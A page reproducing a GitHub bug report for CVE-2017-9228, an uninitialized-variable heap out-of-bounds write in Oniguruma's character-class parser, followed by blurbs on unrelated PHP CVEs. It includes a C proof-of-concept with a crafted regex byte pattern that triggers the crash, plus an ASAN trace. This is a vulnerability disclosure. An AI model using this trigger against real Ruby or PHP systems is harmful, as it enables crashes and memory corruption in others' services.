Headline
CVE-2017-9228: Heap corruption in next_state_val() due to uninitialized local variable · Issue #60 · kkos/oniguruma
An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7.1.5. A heap out-of-bounds write occurs in bitset_set_range() during regular expression compilation due to an uninitialized variable from an incorrect state transition. An incorrect state transition in parse_char_class() could create an execution path that leaves a critical local variable uninitialized until it’s used as an index, resulting in an out-of-bounds write memory corruption.
The following non-deterministic behavior can be triggered from the following code. With ASAN enabled, on 64-bit platform, the crash reproduces within 3-10 runs.
#include <stdio.h> #include “oniguruma.h”
static int exec(OnigEncoding enc, OnigOptionType options, char* apattern, char* astr, int pattern_len, unsigned char *end, OnigSyntaxType* sytax) { int r; regex_t* reg; OnigErrorInfo einfo; UChar* pattern = (UChar* )apattern; UChar* str = (UChar* )astr;
onig\_initialize(&enc, 1);
r = onig\_new(®, pattern,
pattern + pattern\_len,
options, enc, sytax , &einfo);
if (r != ONIG\_NORMAL) {
char s\[ONIG\_MAX\_ERROR\_MESSAGE\_LEN\];
onig\_error\_code\_to\_str(s, r, &einfo);
fprintf(stderr, "ERROR: %s\\n", s);
return -1;
}
onig\_free(reg);
onig\_end();
return 0;
}
extern int main(int argc, char* argv[]) { int r; /* ISO 8859-1 test */ static unsigned char str[] = { 0xc7, 0xd6, 0xfe, 0xea, 0xe0, 0xe2, 0x00 };
char\* pattern = "\\x5b\\x5c\\x48\\x2d\\xb0\\x30\\x8d\\x30\\x2a\\x5b\\x5d\\x20\\x20\\x5d"
"\\xf9\\x54\\x00\\x7f\\x5c\\x63\\xef\\xef\\xef\\xef\\x52\\xf7\\xf7\\x52"
"\\xf7\\xeb\\xeb\\x70\\x2b\\xf7\\x7b\\x30\\x2c\\x32\\x7d";
r = exec(ONIG\_ENCODING\_GB18030, ONIG\_OPTION\_IGNORECASE,pattern, (char\*) str, 39, str + 7, ONIG\_SYNTAX\_DEFAULT);
r = exec(ONIG\_ENCODING\_GB18030, ONIG\_OPTION\_IGNORECASE,pattern, (char\*) str, 39, str + 7, ONIG\_SYNTAX\_DEFAULT);
return r;
}
With some add-on:
static int parse_char_class(Node** np, OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, neg, len, fetched, and_start; OnigCodePoint v, vs; UChar *p; Node* node; CClassNode *cc, *prev_cc; CClassNode work_cc;
printf("*vs (init) = %lu\n", (unsigned long)vs);
static void bitset_set_range(BitSetRef bs, int from, int to) { int i; for (i = from; i <= to && i < SINGLE_BYTE_SIZE; i++) { fprintf(stderr, "bs=%p, i=%lu\n", (unsigned int*)bs, i); BITSET_SET_BIT(bs, i); } }
ASAN report:
*vs (init) = 2953750392
*vs (from) = 2953750392, v=2955971888
bs=0x60600000ef08, i=2953750392
ASAN:SIGSEGV
=================================================================
==22101==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004030d0 bp 0x7ffe925592c0 sp 0x7ffe925592a0 T0)
#0 0x4030cf in bitset_set_range /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:203
#1 0x419b72 in next_state_val /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:4142
#2 0x41ab77 in parse_char_class /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:4329
#3 0x41f7b6 in parse_exp /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5174
#4 0x420728 in parse_branch /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5339
#5 0x420bae in parse_subexp /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5385
#6 0x420fc8 in parse_regexp /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5433
#7 0x421454 in onig_parse_make_tree /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5464
#8 0x43de89 in onig_compile /home/xie/Downloads/oni/onig-test-develop/src/regcomp.c:5326
#9 0x43ed8b in onig_new /home/xie/Downloads/oni/onig-test-develop/src/regcomp.c:5565
#10 0x4011d8 in exec /home/xie/Downloads/oni/onig-test-develop/test/testc.c:17
#11 0x4013f6 in main /home/xie/Downloads/oni/onig-test-develop/test/testc.c:43
#12 0x7f62aebd082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#13 0x400f98 in _start (/home/xie/Downloads/oni/onig-test-develop/test/testc+0x400f98)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:203 bitset_set_range
==22101==ABORTING
The probabilistic reproducer triggers a heap OOB write when the local variable OnigCodePoint vs in parse_char_class() is not initialized, following the call as:
parse_char_class() -> next_state_val() -> bitset_set_range()
resulting in the said crash.
Note the calls to exec() is currently necessary to trigger the crash.
Related news
spl_array.c in the SPL extension in PHP before 5.5.37 and 5.6.x before 5.6.23 improperly interacts with the unserialize implementation and garbage collection, which allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free and application crash) via crafted serialized data.
The phar_make_dirstream function in ext/phar/dirstream.c in PHP before 5.6.18 and 7.x before 7.0.3 mishandles zero-size ././@LongLink files, which allows remote attackers to cause a denial of service (uninitialized pointer dereference) or possibly have unspecified other impact via a crafted TAR archive.
The cdf_check_stream_offset function in cdf.c in file before 5.19, as used in the Fileinfo component in PHP before 5.4.30 and 5.5.x before 5.5.14, relies on incorrect sector-size data, which allows remote attackers to cause a denial of service (application crash) via a crafted stream offset in a CDF file.